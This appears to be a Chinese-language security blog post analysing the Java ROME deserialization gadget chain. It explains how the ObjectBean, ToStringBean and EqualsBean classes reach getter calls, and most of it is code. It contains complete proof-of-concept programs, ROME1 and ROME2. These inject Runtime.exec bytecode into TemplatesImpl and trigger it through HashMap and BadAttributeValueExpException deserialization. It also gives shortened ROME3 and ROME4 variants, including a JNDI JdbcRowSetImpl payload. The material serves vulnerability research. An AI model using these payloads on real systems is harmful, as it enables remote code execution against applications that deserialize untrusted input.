Rome链

ObjectBean

com.sun.syndication.feed.impl.ObjectBean是一个用于处理 Java Beans 的通用工具类,该类使用委托模式设计,使用了 CloneableBeanEqualsBeanToStringBean 这三个辅助类,以实现相关方法

image-20260113203329539

hashCode() 方法会调用 EqualsBean#beanHashCode() 方法,并调用保存的 \_obj 对象的 toString() 方法

image-20260113205601225

ToStringBean

这个类是对象转化为字符串表示的辅助类,这个类存在两个 toString() 方法,无参 toString()_obj 对象名处理后传入另一个 toString() 方法中

image-20260113205645516

另一个方法反射调用所有 getter 方法

PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);

image-20260113205657442

ROME1

最终 ROME1 写成如下比较好理解的形式

public Object getObject(String command, HashMap payloadOptions) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);

    ObjectBean delegate = new ObjectBean(Templates.class, templates);
    // 目的是通过 root 的 hashCode() 方法触发 ObjectBean 的 toString() 方法,先使用一个无害类
    ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "Whoopsunix"));

    HashMap map = new HashMap();
    map.put(root, "Whoopsunix");
    Reflections.setFieldValue(root, "_equalsBean", new EqualsBean(ObjectBean.class, delegate));

    return map;
}

POC

package org.example;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;


import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.PriorityQueue;
import static TOOl.tool.unserialize;
import static TOOl.tool.serialize;
import java.lang.reflect.Field;

public class Rome1 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        ObjectBean delegate = new ObjectBean(Templates.class, templatesImpl);
        // 目的是通过 root 的 hashCode() 方法触发 ObjectBean 的 toString() 方法,先使用一个无害类
        ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "xuanxuan"));
        HashMap map = new HashMap();
        map.put(root, "xuanxuan");

        Field equalsBean = root.getClass().getDeclaredField("_equalsBean");
        equalsBean.setAccessible(true);
        equalsBean.set(root, new EqualsBean(ObjectBean.class, delegate));

        String serialize = serialize(map);
        unserialize(serialize);


    }

}

ROME2

之前我们分析过 BadAttributeValueExpException 同样能触发 toString() ,因为 ObjectBean 的构造方法会对 CloneableBeanEqualsBeanToStringBean 这三个辅助类都赋值,所以可以直接触发 ObjectBean#toString()

public Object getObject(String command, HashMap payloadOptions) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);

    ObjectBean delegate = new ObjectBean(Templates.class, templates);
    BadAttributeValueExpException b = new BadAttributeValueExpException("");
    Reflections.setFieldValue(b, "val", delegate);
    return b;
}

POC

package org.example;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

import static TOOl.tool.serialize;
import static TOOl.tool.unserialize;

public class Rome2 {
    public static void main(String[] args) throws Exception{
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        ObjectBean delegate = new ObjectBean(Templates.class, templatesImpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, delegate);

        String serialize = serialize(badAttributeValueExpException);
        System.out.println(serialize);
        System.out.println(serialize.length());
        unserialize(serialize);

    }
}

ROME3

在实例化 ObjectBean 时,会将三个辅助类都实例化,生成的 payload 太长了,有 byte length: 2030

继续分析后可以进一步压缩,首先是可以直接删除 ObjectBean.toString() ,通过 ToStringBean.toString() 来调用

public Object getObject(String command, HashMap payloadOptions) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);

    ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
    EqualsBean root = new EqualsBean(ToStringBean.class, toStringBean);

    return Gadgets.makeMap(root, root);
}

ROME4

POC

public Object getObject(String command, HashMap payloadOptions) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);

    ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
    EqualsBean root = new EqualsBean(ToStringBean.class, toStringBean);

    return Gadgets.makeMap(root, root);
}
如果使用 JNDI 还可以进一步压缩到 byte length

public Object getObject(String command, HashMap payloadOptions) throws Exception {
    // 进一步压缩
    String url = "rmi://127.0.0.1:1099/umaghq";
    JdbcRowSetImpl rs = new JdbcRowSetImpl();
    rs.setDataSourceName(url);
    rs.setMatchColumn("x");
    Field listeners = javax.sql.rowset.BaseRowSet.class.getDeclaredField("listeners");
    listeners.setAccessible(true);
    listeners.set(rs, null);

    ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
    EqualsBean root = new EqualsBean(ToStringBean.class, item);

    return Gadgets.makeMap(root, root);
}